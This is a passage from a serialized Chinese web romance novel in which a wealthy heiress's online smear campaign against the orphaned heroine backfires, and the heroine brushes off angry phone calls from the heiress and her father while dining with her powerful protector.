她双腿一软,跌坐在地毯上,背靠着冰冷的床沿,整个人如坠冰窟。 “黎云笙……黎云笙竟然真的为她出头?”她喃喃自语,声音里满是不可置信,“温栩栩……她凭什么?她不过是个孤儿院出来的穷鬼,她凭什么能让黎云笙为她动用宋婉榕?!” 她至今都无法理解,那个她一向看不起的女人,那个她以为只需要轻轻一推就会倒地的温栩栩,黎云笙竟然真的肯护着她! 温栩栩不是弱者。 她是被黎云笙护在羽翼下的存在,是连王建豪都要忌惮三分的人物。 而她王双双,竟像个跳梁小丑一样,在众目睽睽之下,亲手把王家推上了风口浪尖。 “不……不是这样的……”她摇头,眼眶泛红,泪水在眸中打转,却倔强地不肯落下,“我只是……我只是想让她难堪而已……我只是想让她知道,她不配和我争……” 她想起自己曾在学校晚会上看到温栩栩,穿着素净的裙子,安静地站在角落,却依旧吸引所有人的目光。她记得自己父亲看温栩栩的眼神,带着一丝不该有的欣赏与贪婪。她记得自己母亲早逝,而父亲却对这样一个年轻女孩流露出异样的关注。 那一刻,她就恨上了温栩栩。 不是因为温栩栩做了什么,而是因为她存在。 她的存在,像一面镜子,照出王双双的骄纵、空洞与不堪。她的存在,让王建豪的目光有了片刻的停留,这让王双双感到了威胁,来自一个她从未放在眼里的“贱民”的威胁。 所以她要毁掉她。 所以当初才在学院那样针对温栩栩,现在不仅为了自己也是为了苏婉所以做到这一步。 第1301章 真是可悲 她发帖,买水军,造谣,煽动舆论。 她以为最多不过是一场小小的风波,几天后就会平息。她以为温栩栩会像所有被网暴的人一样,默默承受,然后消失在她的世界里。 可她错了。 错得离谱。 她不仅没有毁掉温栩栩,反而亲手点燃了足以焚毁王家的烈火。 手机还在不断震动,是无数未接来电和消息的提示。 她点开家族群,全是亲戚的质问。 “你到底在做什么!知不知道王家的股价暴跌!看到了立刻回电!” “快去求温栩栩!求她放过你!” “王家怎么会有你这样的蠢货!你是要害死我们王家人!” 王双双看着这些消息,只觉得胸口闷痛,像是被巨石压住,连呼吸都变得艰难。 她不是不怕,她是恐惧到了极点。 她开始颤抖,从指尖蔓延到全身,像被寒流侵袭。 她抱住自己,蜷缩在角落,眼泪终于滚落,却不是因为悔恨,而是因为不甘与愤怒。 “为什么……为什么所有人都要护着她?”她低声嘶吼,声音里带着哭腔,“她什么都没有,她父母双亡,她连家都没有!她凭什么?凭什么能得到黎云笙的庇护?凭什么让宋婉榕为她出头?凭什么让所有人都站在她那边?!” 她越想越恨,越恨越痛。 她不觉得自己有错。 她只是不甘心。 不甘心自己生在王家,却依旧要被一个“孤儿”压一头,不甘心自己拥有的一切,却换不来父亲真正的骄傲,不甘心自己明明什么都没做错,却要被全世界指责。 错的不是她。 是温栩栩。 是温栩栩不该存在,是温栩栩不该被黎云笙看中,是温栩栩不该让她在所有人面前出丑! “如果不是她……如果不是她,我怎么会变成这样?”王双双咬牙切齿,泪水混着恨意在脸上纵横,“如果不是她,爸不会骂我,王家不会遭殃,我不会被人骂成恶毒千金!她才是罪魁祸首!她才是那个心机深沉、装清高的贱人!” 她猛地抓起手机,想发一条新的动态,想反击,想告诉全世界温栩栩有多虚伪。可她的手指停在屏幕上,迟迟不敢点下发送。 她怕了。 她终于明白父亲为什么那么激动。 黎云笙不是普通人,他是能决定人生死的“神”。而她,竟愚蠢到去挑衅神的信徒。 她不是不怕死,她是怕失去现在拥有的一切,财富、地位、特权、尊重。她怕自己从高高在上的王家千金,变成人人唾弃的过街老鼠。 她是个被宠坏的孩子,在真正的权力面前,连蝼蚁都不如。 她低头看着手机屏幕,温栩栩的照片静静躺在那里,眼神清澈,神情平静,仿佛从未被这场风暴影响。 而她自己,却已狼狈不堪,泪水纵横,满心仇恨。 夜色如墨,城市的灯火在窗外闪烁,却照不进王双双此刻阴暗的内心。 她蜷缩在卧室的角落,手机紧贴耳畔,指尖因用力而泛白,呼吸急促而紊乱。她不知道自己是怎么拨出那个号码的,那个她曾无数次在心里诅咒、却从未真正敢直面的名字。 可此刻,她别无选择。 电话响了三声,便被接通。 听筒里传来一道清冷而平静的声音:“喂?” 是温栩栩。 那声音像一泓深潭,没有波澜,没有愤怒,甚至没有一丝意外。仿佛早已预料到这一刻的到来。 王双双的理智在那一瞬间崩塌。 “温栩栩——!”她猛地尖叫出声,声音尖锐得几乎撕裂空气,“你怎么能这么狠心?!你怎么能这么对我?!我可是王家的女儿!你一个孤儿院出来的贱人,你凭什么?!” 她语无伦次,情绪如火山爆发,积压的恐惧、不甘、愤怒与羞辱,在这一刻全部倾泻而出。 她不是在质问,她是在控诉,仿佛自己才是那个被伤害至深的受害者。 “你看看你现在做了什么?!王氏股价暴跌几千万!我被全网骂成‘恶毒千金’!你满意了?!你开心了?!你是不是早就等着这一天?!” 她的声音颤抖,带着哭腔,却又强撑着最后一丝骄傲,不肯示弱。 她死死盯着手机屏幕,仿佛温栩栩就站在她面前,冷冷地看着她的狼狈。 可电话那头,却传来一声轻笑。 “呵。” 那一声笑,轻得像风,却重得像锤,狠狠砸在王双双的心口。 温栩栩笑了。 她真的笑了。 不是冷笑,不是讥讽,而是一种近乎怜悯的笑。 “王双双,”温栩栩的声音依旧平静,却带着一丝淡淡的疲惫,“你这话……真是把我逗笑了。” 她顿了顿,语气缓缓:“你在网络上带节奏,说我滥交、海后、撒谎、骗钱、当小三、傍老男人……这些黑料,哪一条不是你亲手编写?哪一条不是你花钱雇水军散播?哪一条不是你精心策划,只为让我身败名裂?” 她的声音不高,却字字如刀,精准地剖开王双双的伪装。 “你让我被全网辱骂,被陌生人攻击质疑……你让我面对数条死亡威胁……而你现在,却说我‘狠心’?” 温栩栩的语气终于冷了下来:“怎么?王双双,我就一定要被你故意嘲讽、辱骂,然后默默承受,像条狗一样跪着求你放过?我就不能反击?我就不能保护自己?” 她一字一句,像冰锥刺入王双双的耳膜:“你们王家现在这么惨,你为什么从没想过,如果你没有先动手,我根本懒得理会你?” “我温栩栩,从不主动惹事。但谁若犯我,我必十倍奉还。” 王双双脸色惨白,嘴唇颤抖,整个人如遭雷击。她张了张嘴,却发不出声音。她想反驳,却发现无从反驳。 那些她曾以为“不过是一场舆论游戏”的操作,此刻被温栩栩一一列举,竟显得如此卑劣、肮脏、不可饶恕。 “我……我只是让你上了黑热搜……”她声音微弱,带着一丝侥幸,“可我也提高了你的知名度!你现在全网皆知!你没破财,没受伤,王家也没被查封……你何必赶尽杀绝?” 第1302章 不会有好下场的 王双双试图用“代价不对等”来为自己开脱,仿佛只要她没动温栩栩一根手指,就不算真正伤害她。 可温栩栩却笑了,笑得更冷。 “王双双,”她缓缓道,“你真是可悲。” “你到现在都不明白,伤害从来不只是金钱的损失。” 她声音一沉:“你说我没破财?可你毁的是我的尊严。你说我没受伤?可你伤的是我的心。你说跟王家无关,可你父亲纵容你作恶,本就该付出代价。” 王双双浑身一颤,终于意识到温栩栩不是在报复她,而是在讨回公道。 可她不甘心。 她咬牙,指甲深深掐入掌心,声音带着最后的倔强:“温栩栩……你怎么样才能放过我?放过王家?你说!只要你说,我什么都答应你!” 她低下了头,第一次,以王家千金的身份,向一个她曾看不起的女人低头。 可温栩栩却嗤笑一声:“你连最基本的‘对不起’都不会说吗?” “做错了事,就需要付出代价。这不是商业谈判,不是你用金钱或权力就能摆平的游戏。这是做人最基本的底线。” 她语气淡淡,却带着不容置疑的威严:“小学生都明白的道理,你王双双,活了二十多年,却还不懂?我真是建议你回炉重造。” 王双双瞳孔骤缩,仿佛被当众扇了一耳光。 她想怒吼,想反驳,可喉咙像被堵住,发不出声音。 “温栩栩……你……你不能这样!”她终于嘶吼出来,声音里带着绝望的哭腔,“你已经赢了!你已经让我身败名裂了!你还要怎样?!” 温栩栩却轻笑一声:“在呢,在呢,火气别这么旺。” 她语气轻松,仿佛在聊天气:“毕竟你骂我骂得越厉害,网络上的人骂你就越狠。要试试看吗?我们可以继续。” “你——!”王双双气得浑身发抖,却无力反驳。 她终于明白温栩栩从没把她当对手。 在温栩栩眼里,她不过是个跳梁小丑,闹了一场,然后被观众唾弃。 而温栩栩,从始至终,都站在高处,冷静、清醒、强大。 “你……你不会有好下场的……”王双双喃喃道,声音里已无威胁,只剩恐惧。 温栩栩却笑了:“我有没有好下场,轮不到你来定义。但你,王双双从今天起该学会为自己的行为负责了。” 电话挂断。 “嘟——嘟——嘟——” 忙音在寂静的房间里回荡,像一记记丧钟,敲在王双双的心上。 她瘫坐在地,手机滑落,泪水无声滑落。 她是真的担心王家会因此覆灭。 …… 另一边,温栩栩放下手机,轻轻呼出一口气。 她站在落地窗前,城市灯火如星河铺展。 黎云笙就坐在不远处的沙发上,手中端着一杯温水,静静看着她。 “她说了什么?”他问,声音低沉而温和。 温栩栩笑了笑,走过去,在他身旁坐下:“她说我狠心,说我不该反击,说她只是让我上了热搜,没让我破财,所以我不该这么对她。” 黎云笙眉头微蹙,眼神冷了几分:“蠢。” 黎云笙看着她,眸光温柔:“你做得对。不是所有错,都能用‘年纪小’‘不懂事’来开脱。她该学会代价了。” 黎云笙就是这样偏心,其他人年纪小做错事就要付出代价,但在他这里,温栩栩做错事就可以有他来兜底。 …… 王建豪砸了手机的那一刻,玻璃碎裂声在空旷的办公室里炸开,像一场失控的暴雷。 屏幕碎成蛛网,黑漆漆地映出他扭曲的脸,青筋暴起,额角渗汗,眼神里是被逼到绝境的凶狠与慌乱。 可就在碎片飞溅的瞬间,他猛地一怔,心头如被重锤砸中。 他不能就这么认输。 舆论已经发酵成一场海啸,热搜词条高挂榜首。 #王氏集团黑幕# #王双双人设崩塌# #温栩栩被欺压真相# 一条比一条更致命。 媒体蜂拥而至,股东电话打爆,公关团队束手无策。 他这才意识到,自己刚刚一时冲动,非但没解决问题,反而把火浇得更旺。 他必须想办法,必须控制局面,必须——找到温栩栩。 他跌坐回真皮座椅,手指颤抖地翻出通讯录,找到那个久未拨通的号码,几乎是带着最后一丝希望按了下去。 而此刻,温栩栩正窝在黎云笙的公寓里,窗外夜色如墨,屋内暖光融融。 她刚洗完澡,发梢还带着湿意,裹着松软的羊绒毯蜷在沙发上,像只刚睡醒的猫。 手机震动时,她瞥了一眼屏幕,眉心立刻轻不可察地一蹙。 王建豪。 她几乎要笑出声。 前脚王双双才打来一通哭天抢地的电话,声泪俱下地“道歉”,实则句句试探、字字施压,想让她撤热搜、删微博、公开澄清“误会”;这才过了多久,她亲爹就亲自上阵了?父女俩是商量好了轮番上阵,还是觉得她温栩栩好欺负,可以随便拿捏? “真是有意思。”她低声嘟囔,指尖一划,直接摁断。 可电话立刻又响起来,执拗得像只不达目的不罢休的疯狗。 她皱眉,再摁断。 第三遍,她干脆把手机反扣在茶几上,屏幕朝下,仿佛这样就能隔绝那令人烦躁的震动。 可那震动却像阴魂不散的诅咒,一次又一次,执拗地提醒她:王建豪不会轻易罢休。 她终于烦了,抓起手机,指尖几乎要碾碎屏幕,才终于滑动接通,却没说话,只是把手机丢在一边,任由它外放。 “温栩栩!你他妈到底想怎么样?!”王建豪的怒吼瞬间炸开,声音大得连站在厨房的黎云笙都听见了。 他端着刚热好的牛奶走出来,眉梢微挑,看了眼手机,又看了眼温栩栩。 温栩栩却像没听见似的,慢悠悠地拿起叉子,拨弄着餐盘里的香煎鳕鱼。 鱼皮煎得金黄酥脆,鱼肉雪白细嫩,淋着柠檬黄油酱,香气四溢。 她用叉尖轻轻戳了戳,挑出一块最嫩的鱼腹肉,却没送进嘴里,只是笑着看向黎云笙:“阿笙,这鱼煎得真好,你尝尝?” 第1303章 又去使坏了? 黎云笙眸色沉静,没接话,只是走过来,自然地接过她手中的叉子,蘸了点酱汁,递到她唇边。 温栩栩眨了眨眼,张开嘴,乖乖吃了下去,眉眼弯弯:“嗯,好吃。” 电话那头,王建豪的怒吼还在继续:“你知不知道你现在在干什么?!你这是在毁王氏!你一个孤女怎么敢的!不过就是因为相貌漂亮一些你就真的以为能够让黎云笙护着你一辈子吗!” 温栩栩听着,笑意一点点凉了下来。 孤女。 这两个字像一根锈迹斑斑的钉子,狠狠扎进她心底最深的伤口。她从小到大,听得最多的就是这两个字。 不论她多么优秀,这群人都认为她的出身是原罪, 她缓缓放下叉子,指尖轻轻敲了敲桌面,声音轻得像羽毛,却带着刺骨的冷:“王建豪,你骂够了吗?” “我骂你?我还没开始骂!”王建豪怒极反笑,“你知不知道现在外面怎么说我们?你温栩栩现在是英雄了?是受害者了?你他妈别忘了你的身份!你一个孤女你还真的要翻天吗!” 温栩栩轻笑一声,靠进沙发里,眼神却冷得像冰:“对啊,我就是要试试看我这个孤女能不能翻天呢。” “你——!”王建豪气得声音发抖,“你简直不可理喻!我现在是给你机会收手!只要你现在发声明,说一切都是误会,我可以当什么都没发生!否则,我让你温栩栩在这个圈子里混不下去!” 温栩栩听着,忽然笑了,笑得眉眼弯弯,像听了个天大的笑话。 然后,她慢悠悠地开口,声音轻得像在撒娇:“我在跟阿笙一起吃饭。” 电话那头,瞬间安静了一秒。 紧接着,王建豪的声音陡然拔高:“你说什么?!黎云笙?!他也在?!” 温栩栩没回答,只是故意拖长语调,带着几分甜腻的撒娇意味:“嗯……他刚切好牛排,正喂我呢。” 她话音未落,便感觉到身旁黎云笙的动作顿了一下。 他黑眸幽深,缓缓转头看她,眼神里带着一丝“你又在搞什么鬼”的无奈。 温栩栩却笑得更欢了,眨眨眼,凑过去,张开嘴,像只讨食的小猫:“喂我嘛,阿笙。” 黎云笙眉心微动,捏了捏鼻梁,终于还是随了她的意,用叉子挑起一块牛排,轻轻送进她嘴里。 温栩栩嚼了嚼,眯眼笑道:“好吃,你切得真好。” 电话那头,王建豪的呼吸声粗重得像风箱,可他却一个字都说不出来了。 黎云笙。 这三个字,像一座山,压得他喘不过气。 他可以对温栩栩吼,可以骂她“孤女”、骂她“忘恩负义”,因为他骨子里认定她无依无靠,翻不了身。 可黎云笙不一样。黎家是顶级门阀,黎云笙更是那个说一不二、手段狠辣的“黎少”。 他王建豪在商场上也算一号人物,可在黎云笙面前,连仰望的资格都没有。 此刻,他仿佛能看见温栩栩坐在温暖的灯光下,被黎云笙温柔喂食,而他自己,却在办公室里对着碎裂的手机咆哮。 那种巨大的落差,像一记耳光,狠狠扇在他脸上。 “你……你别以为有黎云笙撑腰就了不起!”他终于挤出一句话,可语气已经软了大半,没了刚才的嚣张,“这事没完!” 温栩栩听着,慢条斯理地喝了口柠檬水,擦了擦嘴角,才轻声道:“王建豪,你到现在还不明白吗?我不是在跟你吵架,我是在告诉你游戏规则,已经变了。” 她顿了顿,目光落在黎云笙身上,笑意温柔,却带着不容置疑的锋利:“从前你骂我,让我背锅,可现在,我不再是那个任你拿捏的温栩栩了。” “你——!” “还有,”她打断他,声音冷了下来,“下次打电话,别一上来就骂人。你女儿王双双也是,哭哭啼啼地演给谁看?你们父女俩,要么就别联系我,要联系,就拿出点诚意来。否则……” 她轻轻一笑,带着几分慵懒与不屑:“我怕你们,承受不起后果。” 说完,她直接挂断电话,顺手关了机,扔进沙发缝里,仿佛扔掉一件垃圾。 黎云笙看着她,眸色深沉,忽然低笑出声:“你故意的?” 温栩栩眨眨眼,凑过去抱住他的手臂,撒娇道:“哪有?我只是……不想再忍了嘛。而且,你不是说,我值得更好的对待?” 黎云笙看着她,良久,抬手轻轻揉了揉她的发,声音低沉而温柔:“嗯,你值得。” 他重新拿起刀叉,继续切牛排,动作优雅,温栩栩则乖乖坐着,时不时偷看他一眼,嘴角的笑意怎么也藏不住。 温栩栩的笑容,像极了深夜里悄然掠过山林的红毛狐狸,狡黠、灵动,眼底闪烁着一簇藏不住的火光,带着几分恶作剧得逞后的得意。 她微微歪着头,唇角勾起一个俏皮又危险的弧度,嘴里还嚼着那块黎云笙亲手为她切好的牛排,肉质细嫩,入口即化,带着淡淡的黑胡椒香气。 她嚼得津津有味,一边嚼,一边乐颠颠地开口,声音软糯又带着点小坏。 “阿笙,要不要打开手机看看,王建豪先生为什么这么急着打电话给我呀?” 她说话时,眼睛亮得像星星,睫毛轻轻扑闪,像在撒娇,又像在挑衅。 那副模样,活脱脱就是一只刚偷了鸡的狐狸,尾巴高高翘起,毛茸茸地晃着,满心满眼都是“快夸我,我厉害吧”。 黎云笙闻言,终于从餐盘上抬起了眼。 他眸光深邃,带着几分慵懒的倦意,却又透着洞察一切的清明。 他慢条斯理地放下银质刀叉,然后才不疾不徐地撩起眼皮,上下打量了她一遍,目光从她微湿的发梢,滑过她因笑意而泛红的脸颊,最后落在她那双亮得惊人的眼睛里。 “嗯。”他轻应一声,声音低沉,像大提琴的尾音,带着一丝若有若无的宠溺,“又去使坏了?” 他语气平淡,却早已看穿了一切。这小狐狸,从来不是什么任人拿捏的软柿子。 第1304章 阿笙不就喜欢我这样吗 她看似乖巧地窝在他怀里,实则脑子里早就在盘算着怎么把那些欺负过她的人,一个个拖进她精心编织的陷阱里。她不是反击,她是布局。 可黎云笙不恼,甚至不意外。他只是勾了勾唇,修长的手指从餐桌上取过手机,解锁,点开微博。 热搜榜首,赫然挂着几个醒目的词条: #温栩栩被设计# #王双双霸凌养妹实锤# #王建豪电话怒骂录音曝光# #心疼温栩栩,坚强女孩别怕# 黎云笙挑眉,点开第一条。 是一段剪辑过的录音正是温栩栩故意泄露出去的王建豪在电话里怒骂她的片段。 不是现在的录音,是很早以前的录音了。 录音里,王建豪声音暴躁,言辞激烈,句句不离“孤女”、“贱人”、“狐狸精”,而温栩栩的声音则清冷克制,像极了一个被至亲背叛、孤立无援的少女。 评论区早已炸开锅。 “天啊!骂得这么难听,温栩栩到底做错了什么?” “听她声音都抖了,一定吓坏了吧……好心疼,坚强的女孩别怕,我们都在你身后!” “有没有人知道温栩栩现在在哪?是不是一个人躲在角落里哭?好想抱抱她……” 黎云笙一条一条看下去,看到这些“是不是一个人躲在角落里哭”的猜测时,终于忍不住低笑出声。 他抬眸,看向对面正用叉子挑着牛排、一脸“我超乖”的小狐狸,眼底的冷意早已消散,取而代之的是一种近乎纵容的戏谑。 “你看看,”他把手机屏幕转向她,声音带着笑意,“全网都在心疼你,说你坚强得让人心疼。” 温栩栩眨了眨眼,一脸无辜:“我本来就很坚强啊。” “坚强到还有心情在床上哼哼唧唧,挑食,撒娇,逗渣渣?”黎云笙挑眉,语气里满是调侃。 温栩栩噗嗤一笑,干脆放下叉子,整个人往他怀里一靠,像只餍足的猫:“那是因为有阿笙在呀。你不是说,有你在,我就可以不用坚强了吗?” 黎云笙眸色一深,抬手轻轻捏了捏她的脸,力道不重,却带着几分警告:“别得寸进尺。” 可他眼底的笑意,却出卖了他。 他重新拿起手机,继续翻看评论。 有人开始扒王氏集团的旧账,越是扒王氏的历史那翻出来的东西就越多,甚至还有人去调查王氏有没有偷税漏税,这一单查出来事情就要闹大了。 黎云笙看着,忽然觉得有些好笑。 温栩栩这是故意利用网络引导那群人去查王氏的,她真的清楚地知道每个人的心思,清楚地知道怎么利用舆论,清楚地知道如何让敌人自乱阵脚。她太懂人心。 他抬手,将手机轻轻丢回桌面,发出一声轻响。然后取了湿巾,慢条斯理地擦了擦手指,动作优雅,仿佛刚才看的不是一场网络风暴,而是一出无关紧要的闹剧。 “你就不怕玩太大?”他终于开口,语气淡淡,却带着试探。 温栩栩却笑得更欢了,眼睛弯成月牙:“怕什么?有阿笙兜着呀。再说了——”她凑近他耳边,呼吸轻柔,像羽毛拂过,“他们先招惹我的。王双双想让我背锅,王建豪想欺辱我,那我就让他们自行承担后果。” 黎云笙听着,忽然低笑出声。他抬手,轻轻捏住她的下巴。 温栩栩眨眨眼,不躲不闪,反而笑得更甜:“阿笙不就喜欢我这样吗?” 黎云笙嗯了一声低头在她眼睫边轻轻一吻:“对,我就喜欢你这样聪明。” …… 王氏集团总部,顶层办公室内,一片死寂。 落地窗外,城市灯火如星河般铺展,可这光芒照不进王建豪此刻的心底。 他僵立在原地,手中还握着那部被挂断的手机,屏幕早已暗下,映出他扭曲而苍白的脸,额角渗着细密的汗珠,眼神涣散,嘴唇微微颤抖,像一尊被抽去灵魂的雕像。 他低头看向桌上那台还在联网的平板,屏幕上,微博热搜如潮水般翻涌不息。 原本他以为,不过是一场短暂的舆论风波,只要压一压,买点水军,删删帖,再让公关发个模棱两可的声明,事情就能平息。 可现实却像一记耳光,狠狠甩在他脸上。 热搜不仅没降,反而越爬越高。 #王建豪怒骂温栩栩录音曝光# 高居榜首,点进去,是那段被精心剪辑的通话录音,他暴怒的咆哮、口不择言的羞辱,被无限放大。 评论区早已失控。 王建豪的手指颤抖着滑动屏幕,每看一条评论,心就沉一分。 他看到有媒体开始深挖温栩栩的过往,甚至借着这些去挖王氏的过去。 那些被他刻意掩埋的黑暗,正一寸寸被挖出来,曝晒在阳光下。 “不……不是这样的……”他喃喃自语,声音沙哑,像是从喉咙深处挤出来的。 可他知道,解释没用。在这个时代,情绪比真相更重要,立场比事实更有力。 温栩栩不需要证明什么,她只需要让公众“相信”她被欺负了,而她做到了,做得天衣无缝。 他不想低头。 他错在低估了温栩栩的恨,错在高估了自己的权威,更错在他始终没看清,那个被他视为“孤女”的女孩,早已不是任人拿捏的棋子。 她背后,有黎云笙。 “不能……再拖了。”他喃喃自语,声音里透着前所未有的疲惫与慌乱。 他必须低头。 哪怕再不甘,再屈辱,他也必须低头。 他深吸一口气,手指颤抖地再次点开通讯录,再次找到温栩栩的号码。 他眼中闪过一丝狠厉,可那狠厉转瞬即逝,被更深的恐惧取代。 他拨了出去。 电话响了两声,被挂断。 他心头一紧,手指几乎要捏碎手机。 她不接。 他再拨。 又响了三声,再次被挂断。 他的呼吸开始急促,额角的冷汗滑落,滴在西装领口,晕开一小片深色。 她故意的。 她知道他在等,知道他在怕,知道他在崩溃边缘挣扎,可她就是不接。 他像一个被晾在岸上的鱼,张着嘴,却吸不到一丝空气。 第1305章 你不怕天凉王破? 王建豪一直在拨电话。 第三通,第四通,第五通…… 每一次被挂断,都像一记耳光,狠狠抽在他脸上。 他的自尊、他的骄傲、正在被一点点撕碎,扔进舆论的绞肉机里。 第六通。 电话依旧在响,无人接听。 王建豪的手开始发抖,他猛地站起身,一拳砸在办公桌上,实木桌面发出沉闷的响声,震得茶杯跳动。可这愤怒,无人看见,也无人在意。 他颓然坐下,双手捂住脸,喉咙里发出一声近乎呜咽的叹息。 第七通电话拨出时,他的声音已经沙哑得不像话。 “接……接啊……”他低声祈求,像一个走投无路的赌徒,把最后一枚筹码押了出去。 电话终于接通了。 听筒那头,没有立刻传来声音。 只有轻柔的背景音。 然后,温栩栩的声音,慢悠悠地响起,带着一丝刚睡醒的慵懒,又夹杂着几分掩不住的笑意: “哎呀,王总,还要来电话?你可真够有毅力的” 王建豪张了张嘴,喉咙发紧,竟一时说不出话。 他等了这么久,想了这么多说辞,可真到了这一刻,却发现他连开口的勇气都没有。 他怕她再挂断。 他怕她再羞辱他。 他怕,他真的会失去一切。 方才指尖夹着手机,红唇微扬,眼底闪过一丝玩味的光。她没有立刻接通,而是慢条斯理地将手机屏幕朝上摆正,像是在确认来电显示的名字,又像是在故意拖延时间,让那头的人多等一等,多焦灼一分。 终于,她按下接听键,开口的话如冰水浇头:“我开了免提,黎云笙听得到。” 声音清亮,带着几分慵懒的笑意,却字字如刀,直插王建豪的心脏。 电话那头瞬间死寂。 王建豪正坐在自己办公室的真皮座椅上,手里攥着手机,额角已渗出细密的汗珠。 他原本还想着如何委婉开口,如何试探,如何在不惊动黎云笙的前提下,悄悄与温栩栩“沟通”几句。 可他万万没想到,温栩栩竟如此直接,如此不留情面,一上来就将他的所有退路封死。 他下意识地抬头看向办公室门口,仿佛黎云笙下一秒就会推门而入。可门依旧紧闭,只有那头传来的沉默,像一座山压在他胸口。 他呼吸一滞,连呼吸都变得浅薄,像是怕被听见似的。双腿不受控制地发软,哪怕坐在坚固的办公椅上,也觉得整个人像是浮在空中,随时会塌下去。他下意识地用双臂撑住桌案,指节因用力而泛白,仿佛只有这样才能稳住自己摇摇欲坠的身体。 “温小姐,”他终于挤出声音,语气里满是慌乱与讨好,“我给你打电话,你开什么免提啊?这……这多不合适。有些话,私下说就好了,让黎总听到,影响多不好……” 他话还没说完,温栩栩已经轻飘飘地“嗯”了一声,像是根本没把他的话放在心上。倒是完全不在意王建豪,目光只落在黎云笙身上。 黎云笙正坐在餐桌旁,身姿挺拔,黑色高领毛衣勾勒出他修长的颈线,袖口卷至小臂,露出结实的手腕。 他手里拿着银质餐叉,动作优雅地切着盘中的羊排,每一下都精准而从容,仿佛这世界的一切喧嚣都与他无关。 温栩栩的目光却像黏在他身上一般,直勾勾地盯着他叉起的那一小块焦香诱人的羊排,油脂在灯光下泛着微光,香气弥漫。 她忽然凑上前,像只狡黠的猫,张口就将那块肉咬进嘴里,动作干脆利落,连咀嚼都带着几分得意。 “唔——”她满足地眯起眼,嘴角扬起一抹狡黠的笑,眉毛轻挑,像是在炫耀自己的“胜利”。 黎云笙动作一顿,黑眸缓缓抬起,目光如深潭般沉静,却又藏着一丝难以察觉的笑意。 他睨着她,眼神里没有责备,反而带着些许柔意。 温栩栩却毫不在意,空闲的那只手轻轻敲打在桌面上,节奏轻快,像在应和着她此刻的心情。 她终于慢悠悠地回应王建豪:“我跟你之间,没什么可联系的。” 她语气轻描淡写,却字字如刀,“网络上那些风言风语已经够多了,你不会不知道吧?你女儿王双双前阵子可是大张旗鼓地在网上发帖故意嘲讽我辱骂我带节奏,我们之间能有什么可说的,前脚王双双打电话骂我,现在你又打来。” 她顿了顿,唇角勾起一抹讥讽的笑:“你说这种模棱两可的话,是想继续炒作?还是想亲自下场,坐实那些谣言?” 她语气一转,带着几分戏谑:“王总,你可得小心点,现在黎总就在旁边,手机开着免提,你刚才那句话,可是清清楚楚传进他耳朵里了。你不怕天凉王破?” “天凉王破”四个字,她咬得极重,带着十足的挑衅与警告。 电话那头,王建豪彻底噎住,吭哧了半天,一个字也说不出来。 他脸色涨红,额上冷汗涔涔,手心早已湿透。 他当然知道黎云笙的手段,那不是什么温和的商人,而是一条沉默的毒蛇,不动则已,一动必见血。若真惹恼了他,别说公司,恐怕连他女儿的前途都要彻底断送。 他张了张嘴,想解释,想道歉,可喉咙像被堵住,发不出声音。 而温栩栩早已不再理会他。 她指尖轻点桌面,忽然缓缓滑动,悄然攀上黎云笙的腿侧。 她的手指纤细而微凉,在他黑色西裤上轻轻敲打,一下,又一下,带着若有若无的暧昧,像是在试探,又像是在挑逗。 黎云笙依旧没动,只是眼底的深沉里,悄然泛起一丝涟漪。 温栩栩仰头看他,唇角微扬:“我还不舒服呢,你要好好照顾我呀。” 声音软糯,带着几分撒娇的意味,可那双眼睛里,却闪烁着狡黠与试探的光。 黎云笙终于有了反应。 他缓缓掀眉,浓墨般的黑瞳里,笑意如涟漪般荡开。他没有说话,只是忽然伸手,一把扣住她的手腕,力道不重,却坚定得不容挣脱。 下一瞬,他轻轻一拉,温栩栩便踉跄着跌进他怀里,后背贴上他温热的胸膛,鼻尖几乎撞上他的下颌。 第1306章 一个温柔到近乎珍视的吻 她心跳一滞,呼吸微乱。 还没等她反应过来,黎云笙已低下头,薄唇轻轻落在她的额头上。 只是一个吻。 轻如羽毛,短暂如呼吸。 可那一瞬间,温栩栩却像是被电流击中,全身的神经都骤然绷紧。 她握紧了手机,指尖微微发颤,眼底那抹挑逗的笑意瞬间凝固,取而代之的是一种近乎茫然的怔愣。 他亲了她。 不是唇,不是颈,不是那些带着欲望与占有意味的吻。 而是额头。 一个温柔到近乎珍视的吻。 他们之间,从不缺吻。 可那些吻,大多是为了平息欲望,可这个吻……却像是一道裂痕,悄然划开了那层冰冷的契约。 它太温柔,太突兀,太不像黎云笙会做的事。 可他却做得如此自然,仿佛这本就是理所当然。 他亲完,便若无其事地松开她,重新拿起餐叉,继续切着盘中剩下的羊排,仿佛刚才那个吻,不过是随手拂去肩上的一片落叶,稀松平常。 温栩栩却僵在原地,指尖无意识地抚上被吻过的额头。 那里,似乎还残留着一丝温热,像初春的阳光,轻轻洒在皮肤上,不灼人,却足以融化冰层。 她摩擦着指尖,试图用动作掩饰内心的波动。可那股热意,却像细小的电流,从眉心缓缓蔓延至四肢百骸,让她整颗心都微微发烫。 他为什么要这样吻我? 她问自己。 他真的,有那么一瞬间,是真心实意地,想安抚她? 她不敢深想。 因为一旦深想,那些被她刻意压在心底的情绪,就会如潮水般涌上来,将她淹没。 她曾告诉自己,黎云笙不过是她的棋子,是她复仇路上的工具。她利用他接近权力中心,利用他打击王家,利用他保护自己。 她从不奢望感情,也不允许自己动心。 可此刻,那个轻如鸿毛的吻,却像一颗石子,投入她平静的心湖,激起层层涟漪。 她缓缓抬起手,指尖轻轻擦过额头,像是要抹去那残留的温度,也像是在说服自己。 不过是个吻而已。 他不过是演戏。 别当真。 可她的心跳,却比任何时候都要快。 黎云笙依旧沉默地吃着饭,仿佛刚才什么都没发生。 可温栩栩却注意到,他切羊排的动作,比之前慢了些,仿佛在刻意给她时间平复。 “温小姐?温小姐你听到我说什么了?怎么我说了半天你都不回话呢?” 王建豪的声音从手机听筒里传来,带着几分焦躁与不安。 他坐在宽大的老板椅上,西装笔挺,领带却已松垮,额角渗出细密的汗珠,手指无意识地敲打着桌面,发出“哒哒”的轻响。 他一遍遍听着电话那头的沉默,心一点点沉下去。 他方才絮絮叨叨说了半天,从王氏集团目前的困境,到网络舆论的发酵,再到他“诚恳”的请求,可对方却仿佛将他当成了背景音,全然无视。 此刻,他终于忍不住急切地连唤几声,声音里已带上了几分卑微的讨好。 而电话这头,温栩栩才像是终于被拉回现实。 她抬手抹了把脸,动作慵懒,像是刚从一场甜腻的梦里醒来。她重新拿起自己那把小巧的银叉,慢条斯理地戳向餐盘里那块煎得恰到好处的鳕鱼,鱼皮微焦,内里雪白嫩滑,她轻轻挑起一小块,却并未立刻送入口中,而是若有所思地盯了一会儿。 